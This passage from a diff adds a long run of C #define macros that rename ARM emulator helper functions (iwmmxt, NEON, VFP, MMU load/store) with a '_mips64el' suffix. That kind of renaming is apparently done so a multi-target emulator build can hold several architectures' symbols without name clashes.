helper_iwmmxt_cmpgtsl_mips64el +#define helper_iwmmxt_cmpgtsw helper_iwmmxt_cmpgtsw_mips64el +#define helper_iwmmxt_cmpgtub helper_iwmmxt_cmpgtub_mips64el +#define helper_iwmmxt_cmpgtul helper_iwmmxt_cmpgtul_mips64el +#define helper_iwmmxt_cmpgtuw helper_iwmmxt_cmpgtuw_mips64el +#define helper_iwmmxt_insr helper_iwmmxt_insr_mips64el +#define helper_iwmmxt_macsw helper_iwmmxt_macsw_mips64el +#define helper_iwmmxt_macuw helper_iwmmxt_macuw_mips64el +#define helper_iwmmxt_maddsq helper_iwmmxt_maddsq_mips64el +#define helper_iwmmxt_madduq helper_iwmmxt_madduq_mips64el +#define helper_iwmmxt_maxsb helper_iwmmxt_maxsb_mips64el +#define helper_iwmmxt_maxsl helper_iwmmxt_maxsl_mips64el +#define helper_iwmmxt_maxsw helper_iwmmxt_maxsw_mips64el +#define helper_iwmmxt_maxub helper_iwmmxt_maxub_mips64el +#define helper_iwmmxt_maxul helper_iwmmxt_maxul_mips64el +#define helper_iwmmxt_maxuw helper_iwmmxt_maxuw_mips64el +#define helper_iwmmxt_minsb helper_iwmmxt_minsb_mips64el +#define helper_iwmmxt_minsl helper_iwmmxt_minsl_mips64el +#define helper_iwmmxt_minsw helper_iwmmxt_minsw_mips64el +#define helper_iwmmxt_minub helper_iwmmxt_minub_mips64el +#define helper_iwmmxt_minul helper_iwmmxt_minul_mips64el +#define helper_iwmmxt_minuw helper_iwmmxt_minuw_mips64el +#define helper_iwmmxt_msbb helper_iwmmxt_msbb_mips64el +#define helper_iwmmxt_msbl helper_iwmmxt_msbl_mips64el +#define helper_iwmmxt_msbw helper_iwmmxt_msbw_mips64el +#define helper_iwmmxt_muladdsl helper_iwmmxt_muladdsl_mips64el +#define helper_iwmmxt_muladdsw helper_iwmmxt_muladdsw_mips64el +#define helper_iwmmxt_muladdswl helper_iwmmxt_muladdswl_mips64el +#define helper_iwmmxt_mulshw helper_iwmmxt_mulshw_mips64el +#define helper_iwmmxt_mulslw helper_iwmmxt_mulslw_mips64el +#define helper_iwmmxt_muluhw helper_iwmmxt_muluhw_mips64el +#define helper_iwmmxt_mululw helper_iwmmxt_mululw_mips64el +#define helper_iwmmxt_packsl helper_iwmmxt_packsl_mips64el +#define helper_iwmmxt_packsq helper_iwmmxt_packsq_mips64el +#define helper_iwmmxt_packsw helper_iwmmxt_packsw_mips64el +#define helper_iwmmxt_packul helper_iwmmxt_packul_mips64el +#define helper_iwmmxt_packuq helper_iwmmxt_packuq_mips64el +#define helper_iwmmxt_packuw helper_iwmmxt_packuw_mips64el +#define helper_iwmmxt_rorl helper_iwmmxt_rorl_mips64el +#define helper_iwmmxt_rorq helper_iwmmxt_rorq_mips64el +#define helper_iwmmxt_rorw helper_iwmmxt_rorw_mips64el +#define helper_iwmmxt_sadb helper_iwmmxt_sadb_mips64el +#define helper_iwmmxt_sadw helper_iwmmxt_sadw_mips64el +#define helper_iwmmxt_setpsr_nz helper_iwmmxt_setpsr_nz_mips64el +#define helper_iwmmxt_shufh helper_iwmmxt_shufh_mips64el +#define helper_iwmmxt_slll helper_iwmmxt_slll_mips64el +#define helper_iwmmxt_sllq helper_iwmmxt_sllq_mips64el +#define helper_iwmmxt_sllw helper_iwmmxt_sllw_mips64el +#define helper_iwmmxt_sral helper_iwmmxt_sral_mips64el +#define helper_iwmmxt_sraq helper_iwmmxt_sraq_mips64el +#define helper_iwmmxt_sraw helper_iwmmxt_sraw_mips64el +#define helper_iwmmxt_srll helper_iwmmxt_srll_mips64el +#define helper_iwmmxt_srlq helper_iwmmxt_srlq_mips64el +#define helper_iwmmxt_srlw helper_iwmmxt_srlw_mips64el +#define helper_iwmmxt_subnb helper_iwmmxt_subnb_mips64el +#define helper_iwmmxt_subnl helper_iwmmxt_subnl_mips64el +#define helper_iwmmxt_subnw helper_iwmmxt_subnw_mips64el +#define helper_iwmmxt_subsb helper_iwmmxt_subsb_mips64el +#define helper_iwmmxt_subsl helper_iwmmxt_subsl_mips64el +#define helper_iwmmxt_subsw helper_iwmmxt_subsw_mips64el +#define helper_iwmmxt_subub helper_iwmmxt_subub_mips64el +#define helper_iwmmxt_subul helper_iwmmxt_subul_mips64el +#define helper_iwmmxt_subuw helper_iwmmxt_subuw_mips64el +#define helper_iwmmxt_unpackhb helper_iwmmxt_unpackhb_mips64el +#define helper_iwmmxt_unpackhl helper_iwmmxt_unpackhl_mips64el +#define helper_iwmmxt_unpackhsb helper_iwmmxt_unpackhsb_mips64el +#define helper_iwmmxt_unpackhsl helper_iwmmxt_unpackhsl_mips64el +#define helper_iwmmxt_unpackhsw helper_iwmmxt_unpackhsw_mips64el +#define helper_iwmmxt_unpackhub helper_iwmmxt_unpackhub_mips64el +#define helper_iwmmxt_unpackhul helper_iwmmxt_unpackhul_mips64el +#define helper_iwmmxt_unpackhuw helper_iwmmxt_unpackhuw_mips64el +#define helper_iwmmxt_unpackhw helper_iwmmxt_unpackhw_mips64el +#define helper_iwmmxt_unpacklb helper_iwmmxt_unpacklb_mips64el +#define helper_iwmmxt_unpackll helper_iwmmxt_unpackll_mips64el +#define helper_iwmmxt_unpacklsb helper_iwmmxt_unpacklsb_mips64el +#define helper_iwmmxt_unpacklsl helper_iwmmxt_unpacklsl_mips64el +#define helper_iwmmxt_unpacklsw helper_iwmmxt_unpacklsw_mips64el +#define helper_iwmmxt_unpacklub helper_iwmmxt_unpacklub_mips64el +#define helper_iwmmxt_unpacklul helper_iwmmxt_unpacklul_mips64el +#define helper_iwmmxt_unpackluw helper_iwmmxt_unpackluw_mips64el +#define helper_iwmmxt_unpacklw helper_iwmmxt_unpacklw_mips64el +#define helper_ldb_cmmu helper_ldb_cmmu_mips64el +#define helper_ldb_mmu helper_ldb_mmu_mips64el +#define helper_ldl_cmmu helper_ldl_cmmu_mips64el +#define helper_ldl_mmu helper_ldl_mmu_mips64el +#define helper_ldq_cmmu helper_ldq_cmmu_mips64el +#define helper_ldq_mmu helper_ldq_mmu_mips64el +#define helper_ldw_cmmu helper_ldw_cmmu_mips64el +#define helper_ldw_mmu helper_ldw_mmu_mips64el +#define helper_le_ldl_cmmu helper_le_ldl_cmmu_mips64el +#define helper_le_ldq_cmmu helper_le_ldq_cmmu_mips64el +#define helper_le_ldq_mmu helper_le_ldq_mmu_mips64el +#define helper_le_ldsl_mmu helper_le_ldsl_mmu_mips64el +#define helper_le_ldsw_mmu helper_le_ldsw_mmu_mips64el +#define helper_le_ldul_mmu helper_le_ldul_mmu_mips64el +#define helper_le_lduw_mmu helper_le_lduw_mmu_mips64el +#define helper_le_ldw_cmmu helper_le_ldw_cmmu_mips64el +#define helper_le_stl_mmu helper_le_stl_mmu_mips64el +#define helper_le_stq_mmu helper_le_stq_mmu_mips64el +#define helper_le_stw_mmu helper_le_stw_mmu_mips64el +#define helper_msr_i_pstate helper_msr_i_pstate_mips64el +#define helper_neon_abd_f32 helper_neon_abd_f32_mips64el +#define helper_neon_abdl_s16 helper_neon_abdl_s16_mips64el +#define helper_neon_abdl_s32 helper_neon_abdl_s32_mips64el +#define helper_neon_abdl_s64 helper_neon_abdl_s64_mips64el +#define helper_neon_abdl_u16 helper_neon_abdl_u16_mips64el +#define helper_neon_abdl_u32 helper_neon_abdl_u32_mips64el +#define helper_neon_abdl_u64 helper_neon_abdl_u64_mips64el +#define helper_neon_abd_s16 helper_neon_abd_s16_mips64el +#define helper_neon_abd_s32 helper_neon_abd_s32_mips64el +#define helper_neon_abd_s8 helper_neon_abd_s8_mips64el +#define helper_neon_abd_u16 helper_neon_abd_u16_mips64el +#define helper_neon_abd_u32 helper_neon_abd_u32_mips64el +#define helper_neon_abd_u8 helper_neon_abd_u8_mips64el +#define helper_neon_abs_s16 helper_neon_abs_s16_mips64el +#define helper_neon_abs_s8 helper_neon_abs_s8_mips64el +#define helper_neon_acge_f32 helper_neon_acge_f32_mips64el +#define helper_neon_acge_f64 helper_neon_acge_f64_mips64el +#define helper_neon_acgt_f32 helper_neon_acgt_f32_mips64el +#define helper_neon_acgt_f64 helper_neon_acgt_f64_mips64el +#define helper_neon_addl_saturate_s32 helper_neon_addl_saturate_s32_mips64el +#define helper_neon_addl_saturate_s64 helper_neon_addl_saturate_s64_mips64el +#define helper_neon_addl_u16 helper_neon_addl_u16_mips64el +#define helper_neon_addl_u32 helper_neon_addl_u32_mips64el +#define helper_neon_add_u16 helper_neon_add_u16_mips64el +#define helper_neon_add_u8 helper_neon_add_u8_mips64el +#define helper_neon_ceq_f32 helper_neon_ceq_f32_mips64el +#define helper_neon_ceq_u16 helper_neon_ceq_u16_mips64el +#define helper_neon_ceq_u32 helper_neon_ceq_u32_mips64el +#define helper_neon_ceq_u8 helper_neon_ceq_u8_mips64el +#define helper_neon_cge_f32 helper_neon_cge_f32_mips64el +#define helper_neon_cge_s16 helper_neon_cge_s16_mips64el +#define helper_neon_cge_s32 helper_neon_cge_s32_mips64el +#define helper_neon_cge_s8 helper_neon_cge_s8_mips64el +#define helper_neon_cge_u16 helper_neon_cge_u16_mips64el +#define helper_neon_cge_u32 helper_neon_cge_u32_mips64el +#define helper_neon_cge_u8 helper_neon_cge_u8_mips64el +#define helper_neon_cgt_f32 helper_neon_cgt_f32_mips64el +#define helper_neon_cgt_s16 helper_neon_cgt_s16_mips64el +#define helper_neon_cgt_s32 helper_neon_cgt_s32_mips64el +#define helper_neon_cgt_s8 helper_neon_cgt_s8_mips64el +#define helper_neon_cgt_u16 helper_neon_cgt_u16_mips64el +#define helper_neon_cgt_u32 helper_neon_cgt_u32_mips64el +#define helper_neon_cgt_u8 helper_neon_cgt_u8_mips64el +#define helper_neon_cls_s16 helper_neon_cls_s16_mips64el +#define helper_neon_cls_s32 helper_neon_cls_s32_mips64el +#define helper_neon_cls_s8 helper_neon_cls_s8_mips64el +#define helper_neon_clz_u16 helper_neon_clz_u16_mips64el +#define helper_neon_clz_u8 helper_neon_clz_u8_mips64el +#define helper_neon_cnt_u8 helper_neon_cnt_u8_mips64el +#define helper_neon_fcvt_f16_to_f32 helper_neon_fcvt_f16_to_f32_mips64el +#define helper_neon_fcvt_f32_to_f16 helper_neon_fcvt_f32_to_f16_mips64el +#define helper_neon_hadd_s16 helper_neon_hadd_s16_mips64el +#define helper_neon_hadd_s32 helper_neon_hadd_s32_mips64el +#define helper_neon_hadd_s8 helper_neon_hadd_s8_mips64el +#define helper_neon_hadd_u16 helper_neon_hadd_u16_mips64el +#define helper_neon_hadd_u32 helper_neon_hadd_u32_mips64el +#define helper_neon_hadd_u8 helper_neon_hadd_u8_mips64el +#define helper_neon_hsub_s16 helper_neon_hsub_s16_mips64el +#define helper_neon_hsub_s32 helper_neon_hsub_s32_mips64el +#define helper_neon_hsub_s8 helper_neon_hsub_s8_mips64el +#define helper_neon_hsub_u16 helper_neon_hsub_u16_mips64el +#define helper_neon_hsub_u32 helper_neon_hsub_u32_mips64el +#define helper_neon_hsub_u8 helper_neon_hsub_u8_mips64el +#define helper_neon_max_s16 helper_neon_max_s16_mips64el +#define helper_neon_max_s32 helper_neon_max_s32_mips64el +#define helper_neon_max_s8 helper_neon_max_s8_mips64el +#define helper_neon_max_u16 helper_neon_max_u16_mips64el +#define helper_neon_max_u32 helper_neon_max_u32_mips64el +#define helper_neon_max_u8 helper_neon_max_u8_mips64el +#define helper_neon_min_s16 helper_neon_min_s16_mips64el +#define helper_neon_min_s32 helper_neon_min_s32_mips64el +#define helper_neon_min_s8 helper_neon_min_s8_mips64el +#define helper_neon_min_u16 helper_neon_min_u16_mips64el +#define helper_neon_min_u32 helper_neon_min_u32_mips64el +#define helper_neon_min_u8 helper_neon_min_u8_mips64el +#define helper_neon_mull_p8 helper_neon_mull_p8_mips64el +#define helper_neon_mull_s16 helper_neon_mull_s16_mips64el +#define helper_neon_mull_s8 helper_neon_mull_s8_mips64el +#define helper_neon_mull_u16 helper_neon_mull_u16_mips64el +#define helper_neon_mull_u8 helper_neon_mull_u8_mips64el +#define helper_neon_mul_p8 helper_neon_mul_p8_mips64el +#define helper_neon_mul_u16 helper_neon_mul_u16_mips64el +#define helper_neon_mul_u8 helper_neon_mul_u8_mips64el +#define helper_neon_narrow_high_u16 helper_neon_narrow_high_u16_mips64el +#define helper_neon_narrow_high_u8 helper_neon_narrow_high_u8_mips64el +#define helper_neon_narrow_round_high_u16 helper_neon_narrow_round_high_u16_mips64el +#define helper_neon_narrow_round_high_u8 helper_neon_narrow_round_high_u8_mips64el +#define helper_neon_narrow_sat_s16 helper_neon_narrow_sat_s16_mips64el +#define helper_neon_narrow_sat_s32 helper_neon_narrow_sat_s32_mips64el +#define helper_neon_narrow_sat_s8 helper_neon_narrow_sat_s8_mips64el +#define helper_neon_narrow_sat_u16 helper_neon_narrow_sat_u16_mips64el +#define helper_neon_narrow_sat_u32 helper_neon_narrow_sat_u32_mips64el +#define helper_neon_narrow_sat_u8 helper_neon_narrow_sat_u8_mips64el +#define helper_neon_narrow_u16 helper_neon_narrow_u16_mips64el +#define helper_neon_narrow_u8 helper_neon_narrow_u8_mips64el +#define helper_neon_negl_u16 helper_neon_negl_u16_mips64el +#define helper_neon_negl_u32 helper_neon_negl_u32_mips64el +#define helper_neon_paddl_u16 helper_neon_paddl_u16_mips64el +#define helper_neon_paddl_u32 helper_neon_paddl_u32_mips64el +#define helper_neon_padd_u16 helper_neon_padd_u16_mips64el +#define helper_neon_padd_u8 helper_neon_padd_u8_mips64el +#define helper_neon_pmax_s16 helper_neon_pmax_s16_mips64el +#define helper_neon_pmax_s8 helper_neon_pmax_s8_mips64el +#define helper_neon_pmax_u16 helper_neon_pmax_u16_mips64el +#define helper_neon_pmax_u8 helper_neon_pmax_u8_mips64el +#define helper_neon_pmin_s16 helper_neon_pmin_s16_mips64el +#define helper_neon_pmin_s8 helper_neon_pmin_s8_mips64el +#define helper_neon_pmin_u16 helper_neon_pmin_u16_mips64el +#define helper_neon_pmin_u8 helper_neon_pmin_u8_mips64el +#define helper_neon_pmull_64_hi helper_neon_pmull_64_hi_mips64el +#define helper_neon_pmull_64_lo helper_neon_pmull_64_lo_mips64el +#define helper_neon_qabs_s16 helper_neon_qabs_s16_mips64el +#define helper_neon_qabs_s32 helper_neon_qabs_s32_mips64el +#define helper_neon_qabs_s64 helper_neon_qabs_s64_mips64el +#define helper_neon_qabs_s8 helper_neon_qabs_s8_mips64el +#define helper_neon_qadd_s16 helper_neon_qadd_s16_mips64el +#define helper_neon_qadd_s32 helper_neon_qadd_s32_mips64el +#define helper_neon_qadd_s64 helper_neon_qadd_s64_mips64el +#define helper_neon_qadd_s8 helper_neon_qadd_s8_mips64el +#define helper_neon_qadd_u16 helper_neon_qadd_u16_mips64el +#define helper_neon_qadd_u32 helper_neon_qadd_u32_mips64el +#define helper_neon_qadd_u64 helper_neon_qadd_u64_mips64el +#define helper_neon_qadd_u8 helper_neon_qadd_u8_mips64el +#define helper_neon_qdmulh_s16 helper_neon_qdmulh_s16_mips64el +#define helper_neon_qdmulh_s32 helper_neon_qdmulh_s32_mips64el +#define helper_neon_qneg_s16 helper_neon_qneg_s16_mips64el +#define helper_neon_qneg_s32 helper_neon_qneg_s32_mips64el +#define helper_neon_qneg_s64 helper_neon_qneg_s64_mips64el +#define helper_neon_qneg_s8 helper_neon_qneg_s8_mips64el +#define helper_neon_qrdmulh_s16 helper_neon_qrdmulh_s16_mips64el +#define helper_neon_qrdmulh_s32 helper_neon_qrdmulh_s32_mips64el +#define helper_neon_qrshl_s16 helper_neon_qrshl_s16_mips64el +#define helper_neon_qrshl_s32 helper_neon_qrshl_s32_mips64el +#define helper_neon_qrshl_s64 helper_neon_qrshl_s64_mips64el +#define helper_neon_qrshl_s8 helper_neon_qrshl_s8_mips64el +#define helper_neon_qrshl_u16 helper_neon_qrshl_u16_mips64el +#define helper_neon_qrshl_u32 helper_neon_qrshl_u32_mips64el +#define helper_neon_qrshl_u64 helper_neon_qrshl_u64_mips64el +#define helper_neon_qrshl_u8 helper_neon_qrshl_u8_mips64el +#define helper_neon_qshl_s16 helper_neon_qshl_s16_mips64el +#define helper_neon_qshl_s32 helper_neon_qshl_s32_mips64el +#define helper_neon_qshl_s64 helper_neon_qshl_s64_mips64el +#define helper_neon_qshl_s8 helper_neon_qshl_s8_mips64el +#define helper_neon_qshl_u16 helper_neon_qshl_u16_mips64el +#define helper_neon_qshl_u32 helper_neon_qshl_u32_mips64el +#define helper_neon_qshl_u64 helper_neon_qshl_u64_mips64el +#define helper_neon_qshl_u8 helper_neon_qshl_u8_mips64el +#define helper_neon_qshlu_s16 helper_neon_qshlu_s16_mips64el +#define helper_neon_qshlu_s32 helper_neon_qshlu_s32_mips64el +#define helper_neon_qshlu_s64 helper_neon_qshlu_s64_mips64el +#define helper_neon_qshlu_s8 helper_neon_qshlu_s8_mips64el +#define helper_neon_qsub_s16 helper_neon_qsub_s16_mips64el +#define helper_neon_qsub_s32 helper_neon_qsub_s32_mips64el +#define helper_neon_qsub_s64 helper_neon_qsub_s64_mips64el +#define helper_neon_qsub_s8 helper_neon_qsub_s8_mips64el +#define helper_neon_qsub_u16 helper_neon_qsub_u16_mips64el +#define helper_neon_qsub_u32 helper_neon_qsub_u32_mips64el +#define helper_neon_qsub_u64 helper_neon_qsub_u64_mips64el +#define helper_neon_qsub_u8 helper_neon_qsub_u8_mips64el +#define helper_neon_qunzip16 helper_neon_qunzip16_mips64el +#define helper_neon_qunzip32 helper_neon_qunzip32_mips64el +#define helper_neon_qunzip8 helper_neon_qunzip8_mips64el +#define helper_neon_qzip16 helper_neon_qzip16_mips64el +#define helper_neon_qzip32 helper_neon_qzip32_mips64el +#define helper_neon_qzip8 helper_neon_qzip8_mips64el +#define helper_neon_rbit_u8 helper_neon_rbit_u8_mips64el +#define helper_neon_rhadd_s16 helper_neon_rhadd_s16_mips64el +#define helper_neon_rhadd_s32 helper_neon_rhadd_s32_mips64el +#define helper_neon_rhadd_s8 helper_neon_rhadd_s8_mips64el +#define helper_neon_rhadd_u16 helper_neon_rhadd_u16_mips64el +#define helper_neon_rhadd_u32 helper_neon_rhadd_u32_mips64el +#define helper_neon_rhadd_u8 helper_neon_rhadd_u8_mips64el +#define helper_neon_rshl_s16 helper_neon_rshl_s16_mips64el +#define helper_neon_rshl_s32 helper_neon_rshl_s32_mips64el +#define helper_neon_rshl_s64 helper_neon_rshl_s64_mips64el +#define helper_neon_rshl_s8 helper_neon_rshl_s8_mips64el +#define helper_neon_rshl_u16 helper_neon_rshl_u16_mips64el +#define helper_neon_rshl_u32 helper_neon_rshl_u32_mips64el +#define helper_neon_rshl_u64 helper_neon_rshl_u64_mips64el +#define helper_neon_rshl_u8 helper_neon_rshl_u8_mips64el +#define helper_neon_shl_s16 helper_neon_shl_s16_mips64el +#define helper_neon_shl_s32 helper_neon_shl_s32_mips64el +#define helper_neon_shl_s64 helper_neon_shl_s64_mips64el +#define helper_neon_shl_s8 helper_neon_shl_s8_mips64el +#define helper_neon_shl_u16 helper_neon_shl_u16_mips64el +#define helper_neon_shl_u32 helper_neon_shl_u32_mips64el +#define helper_neon_shl_u64 helper_neon_shl_u64_mips64el +#define helper_neon_shl_u8 helper_neon_shl_u8_mips64el +#define helper_neon_sqadd_u16 helper_neon_sqadd_u16_mips64el +#define helper_neon_sqadd_u32 helper_neon_sqadd_u32_mips64el +#define helper_neon_sqadd_u64 helper_neon_sqadd_u64_mips64el +#define helper_neon_sqadd_u8 helper_neon_sqadd_u8_mips64el +#define helper_neon_subl_u16 helper_neon_subl_u16_mips64el +#define helper_neon_subl_u32 helper_neon_subl_u32_mips64el +#define helper_neon_sub_u16 helper_neon_sub_u16_mips64el +#define helper_neon_sub_u8 helper_neon_sub_u8_mips64el +#define helper_neon_tbl helper_neon_tbl_mips64el +#define helper_neon_tst_u16 helper_neon_tst_u16_mips64el +#define helper_neon_tst_u32 helper_neon_tst_u32_mips64el +#define helper_neon_tst_u8 helper_neon_tst_u8_mips64el +#define helper_neon_unarrow_sat16 helper_neon_unarrow_sat16_mips64el +#define helper_neon_unarrow_sat32 helper_neon_unarrow_sat32_mips64el +#define helper_neon_unarrow_sat8 helper_neon_unarrow_sat8_mips64el +#define helper_neon_unzip16 helper_neon_unzip16_mips64el +#define helper_neon_unzip8 helper_neon_unzip8_mips64el +#define helper_neon_uqadd_s16 helper_neon_uqadd_s16_mips64el +#define helper_neon_uqadd_s32 helper_neon_uqadd_s32_mips64el +#define helper_neon_uqadd_s64 helper_neon_uqadd_s64_mips64el +#define helper_neon_uqadd_s8 helper_neon_uqadd_s8_mips64el +#define helper_neon_widen_s16 helper_neon_widen_s16_mips64el +#define helper_neon_widen_s8 helper_neon_widen_s8_mips64el +#define helper_neon_widen_u16 helper_neon_widen_u16_mips64el +#define helper_neon_widen_u8 helper_neon_widen_u8_mips64el +#define helper_neon_zip16 helper_neon_zip16_mips64el +#define helper_neon_zip8 helper_neon_zip8_mips64el +#define helper_pre_hvc helper_pre_hvc_mips64el +#define helper_pre_smc helper_pre_smc_mips64el +#define helper_qadd16 helper_qadd16_mips64el +#define helper_qadd8 helper_qadd8_mips64el +#define helper_qaddsubx helper_qaddsubx_mips64el +#define helper_qsub16 helper_qsub16_mips64el +#define helper_qsub8 helper_qsub8_mips64el +#define helper_qsubaddx helper_qsubaddx_mips64el +#define helper_rbit helper_rbit_mips64el +#define helper_recpe_f32 helper_recpe_f32_mips64el +#define helper_recpe_f64 helper_recpe_f64_mips64el +#define helper_recpe_u32 helper_recpe_u32_mips64el +#define helper_recps_f32 helper_recps_f32_mips64el +#define helper_ret_ldb_cmmu helper_ret_ldb_cmmu_mips64el +#define helper_ret_ldsb_mmu helper_ret_ldsb_mmu_mips64el +#define helper_ret_ldub_mmu helper_ret_ldub_mmu_mips64el +#define helper_ret_stb_mmu helper_ret_stb_mmu_mips64el +#define helper_rintd helper_rintd_mips64el +#define helper_rintd_exact helper_rintd_exact_mips64el +#define helper_rints helper_rints_mips64el +#define helper_rints_exact helper_rints_exact_mips64el +#define helper_ror_cc helper_ror_cc_mips64el +#define helper_rsqrte_f32 helper_rsqrte_f32_mips64el +#define helper_rsqrte_f64 helper_rsqrte_f64_mips64el +#define helper_rsqrte_u32 helper_rsqrte_u32_mips64el +#define helper_rsqrts_f32 helper_rsqrts_f32_mips64el +#define helper_sadd16 helper_sadd16_mips64el +#define helper_sadd8 helper_sadd8_mips64el +#define helper_saddsubx helper_saddsubx_mips64el +#define helper_sar_cc helper_sar_cc_mips64el +#define helper_sdiv helper_sdiv_mips64el +#define helper_sel_flags helper_sel_flags_mips64el +#define helper_set_cp_reg helper_set_cp_reg_mips64el +#define helper_set_cp_reg64 helper_set_cp_reg64_mips64el +#define helper_set_neon_rmode helper_set_neon_rmode_mips64el +#define helper_set_r13_banked helper_set_r13_banked_mips64el +#define helper_set_rmode helper_set_rmode_mips64el +#define helper_set_user_reg helper_set_user_reg_mips64el +#define helper_shadd16 helper_shadd16_mips64el +#define helper_shadd8 helper_shadd8_mips64el +#define helper_shaddsubx helper_shaddsubx_mips64el +#define helper_shl_cc helper_shl_cc_mips64el +#define helper_shr_cc helper_shr_cc_mips64el +#define helper_shsub16 helper_shsub16_mips64el +#define helper_shsub8 helper_shsub8_mips64el +#define helper_shsubaddx helper_shsubaddx_mips64el +#define helper_ssat helper_ssat_mips64el +#define helper_ssat16 helper_ssat16_mips64el +#define helper_ssub16 helper_ssub16_mips64el +#define helper_ssub8 helper_ssub8_mips64el +#define helper_ssubaddx helper_ssubaddx_mips64el +#define helper_stb_mmu helper_stb_mmu_mips64el +#define helper_stl_mmu helper_stl_mmu_mips64el +#define helper_stq_mmu helper_stq_mmu_mips64el +#define helper_stw_mmu helper_stw_mmu_mips64el +#define helper_sub_saturate helper_sub_saturate_mips64el +#define helper_sub_usaturate helper_sub_usaturate_mips64el +#define helper_sxtb16 helper_sxtb16_mips64el +#define helper_uadd16 helper_uadd16_mips64el +#define helper_uadd8 helper_uadd8_mips64el +#define helper_uaddsubx helper_uaddsubx_mips64el +#define helper_udiv helper_udiv_mips64el +#define helper_uhadd16 helper_uhadd16_mips64el +#define helper_uhadd8 helper_uhadd8_mips64el +#define helper_uhaddsubx helper_uhaddsubx_mips64el +#define helper_uhsub16 helper_uhsub16_mips64el +#define helper_uhsub8 helper_uhsub8_mips64el +#define helper_uhsubaddx helper_uhsubaddx_mips64el +#define helper_uqadd16 helper_uqadd16_mips64el +#define helper_uqadd8 helper_uqadd8_mips64el +#define helper_uqaddsubx helper_uqaddsubx_mips64el +#define helper_uqsub16 helper_uqsub16_mips64el +#define helper_uqsub8 helper_uqsub8_mips64el +#define helper_uqsubaddx helper_uqsubaddx_mips64el +#define helper_usad8 helper_usad8_mips64el +#define helper_usat helper_usat_mips64el +#define helper_usat16 helper_usat16_mips64el +#define helper_usub16 helper_usub16_mips64el +#define helper_usub8 helper_usub8_mips64el +#define helper_usubaddx helper_usubaddx_mips64el +#define helper_uxtb16 helper_uxtb16_mips64el +#define helper_v7m_mrs helper_v7m_mrs_mips64el +#define helper_v7m_msr helper_v7m_msr_mips64el +#define helper_vfp_absd helper_vfp_absd_mips64el +#define helper_vfp_abss helper_vfp_abss_mips64el +#define helper_vfp_addd helper_vfp_addd_mips64el +#define helper_vfp_adds helper_vfp_adds_mips64el +#define helper_vfp_cmpd helper_vfp_cmpd_mips64el +#define helper_vfp_cmped helper_vfp_cmped_mips64el +#define helper_vfp_cmpes helper_vfp_cmpes_mips64el +#define helper_vfp_cmps helper_vfp_cmps_mips64el +#define helper_vfp_divd helper_vfp_divd_mips64el +#define helper_vfp_divs helper_vfp_divs_mips64el +#define helper_vfp_fcvtds helper_vfp_fcvtds_mips64el +#define helper_vfp_fcvt_f16_to_f32 helper_vfp_fcvt_f16_to_f32_mips64el +#define helper_vfp_fcvt_f16_to_f64 helper_vfp_fcvt_f16_to_f64_mips64el +#define helper_vfp_fcvt_f32_to_f16 helper_vfp_fcvt_f32_to_f16_mips64el +#define helper_vfp_fcvt_f64_to_f16 helper_vfp_fcvt_f64_to_f16_mips64el +#define helper_vfp_fcvtsd helper_vfp_fcvtsd_mips64el +#define helper_vfp_get_fpscr helper_vfp_get_fpscr_mips64el +#define helper_vfp_maxd helper_vfp_maxd_mips64el +#define helper_vfp_maxnumd helper_vfp_maxnumd_mips64el +#define helper_vfp_maxnums helper_vfp_maxnums_mips64el +#define helper_vfp_maxs helper_vfp_maxs_mips64el +#define helper_vfp_mind helper_vfp_mind_mips64el +#define helper_vfp_minnumd helper_vfp_minnumd_mips64el +#define helper_vfp_minnums helper_vfp_minnums_mips64el +#define helper_vfp_mins helper_vfp_mins_mips64el +#define helper_vfp_muladdd helper_vfp_muladdd_mips64el +#define helper_vfp_muladds helper_vfp_muladds_mips64el +#define helper_vfp_muld helper_vfp_muld_mips64el +#define helper_vfp_muls helper_vfp_muls_mips64el +#define helper_vfp_negd helper_vfp_negd_mips64el +#define helper_vfp_negs helper_vfp_negs_mips64el +#define helper_vfp_set_fpscr helper_vfp_set_fpscr_mips64el +#define helper_vfp_shtod helper_vfp_shtod_mips64el +#define helper_vfp_shtos helper_vfp_shtos_mips64el +#define helper_vfp_sitod helper_vfp_sitod_mips64el +#define helper_vfp_sitos helper_vfp_sitos_mips64el +#define helper_vfp_sltod helper_vfp_sltod_mips64el +#define helper_vfp_sltos helper_vfp_sltos_mips64el +#define helper_vfp_sqrtd helper_vfp_sqrtd_mips64el +#define helper_vfp_sqrts helper_vfp_sqrts_mips64el +#define helper_vfp_sqtod helper_vfp_sqtod_mips64el +#define helper_vfp_sqtos helper_vfp_sqtos_mips64el +#define helper_vfp_subd helper_vfp_subd_mips64el +#define helper_vfp_subs helper_vfp_subs_mips64el +#define helper_vfp_toshd helper_vfp_toshd_mips64el +#define helper_vfp_toshd_round_to_zero helper_vfp_toshd_round_to_zero_mips64el +#define helper_vfp_toshs helper_vfp_toshs_mips64el +#define helper_vfp_toshs_round_to_zero helper_vfp_toshs_round_to_zero_mips64el +#define helper_vfp_tosid helper_vfp_tosid_mips64el +#define helper_vfp_tosis helper_vfp_tosis_mips64el +#define helper_vfp_tosizd helper_vfp_tosizd_mips64el +#define helper_vfp_tosizs helper_vfp_tosizs_mips64el +#define helper_vfp_tosld helper_vfp_tosld_mips64el +#define helper_vfp_tosld_round_to_zero helper_vfp_tosld_round_to_zero_mips64el +#define helper_vfp_tosls helper_vfp_tosls_mips64el +#define helper_vfp_tosls_round_to_zero helper_vfp_tosls_round_to_zero_mips64el +#define helper_vfp_tosqd helper_vfp_tosqd_mips64el +#define helper_vfp_tosqs helper_vfp_tosqs_mips64el +#define helper_vfp_touhd helper_vfp_touhd_mips64el +#define helper_vfp_touhd_round_to_zero helper_vfp_touhd_round_to_zero_mips64el +#define helper_vfp_touhs helper_vfp_touhs_mips64el +#define helper_vfp_touhs_round_to_zero helper_vfp_touhs_round_to_zero_mips64el +#define helper_vfp_touid helper_vfp_touid_mips64el +#define helper_vfp_touis helper_vfp_touis_mips64el +#define helper_vfp_touizd helper_vfp_touizd_mips64el +#define helper_vfp_touizs helper_vfp_touizs_mips64el +#define helper_vfp_tould helper_vfp_tould_mips64el +#define helper_vfp_tould_round_to_zero helper_vfp_tould_round_to_zero_mips64el +#define helper_vfp_touls helper_vfp_touls_mips64el +#define helper_vfp_touls_round_to_zero helper_vfp_touls_round_to_zero_mips64el +#define helper_vfp_touqd helper_vfp_touqd_mips64el +#define helper_vfp_touqs helper_vfp_touqs_mips64el +#define helper_vfp_uhtod helper_vfp_uhtod_mips64el +#define helper_vfp_uhtos helper_vfp_uhtos_mips64el +#define helper_vfp_uitod helper_vfp_uitod_mips64el +#define helper_vfp_uitos helper_vfp_uitos_mips64el +#define 